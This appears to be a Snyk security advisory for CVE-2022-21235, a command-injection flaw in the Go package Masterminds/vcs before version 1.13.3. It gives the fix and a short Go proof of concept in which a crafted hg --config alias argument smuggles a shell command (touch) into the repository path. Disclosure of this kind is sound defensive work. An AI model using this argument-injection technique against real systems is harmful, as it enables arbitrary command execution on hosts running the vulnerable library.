Command Injection Affecting github.com/masterminds/vcs package, versions <1.13.3


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.13% (50th percentile)

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  • Snyk IDSNYK-GOLANG-GITHUBCOMMASTERMINDSVCS-2437078
  • published1 Apr 2022
  • disclosed11 Mar 2022
  • creditAlessio Della Libera of Snyk Research Team

Introduced: 11 Mar 2022

CVE-2022-21235  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade github.com/Masterminds/vcs to version 1.13.3 or higher.

Overview

github.com/Masterminds/vcs is a VCS Repo management through a common interface in Go.

Affected versions of this package are vulnerable to Command Injection via argument injection. When hg is executed, argument strings are passed to hg in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

package main

import (
    "github.com/Masterminds/vcs"
)

func main(){
      local := "--config=alias.init=!touch ./HELLO"
    repo, _ := vcs.NewHgRepo("remote", local)
    repo.Init()
}

References

CVSS Scores

version 3.1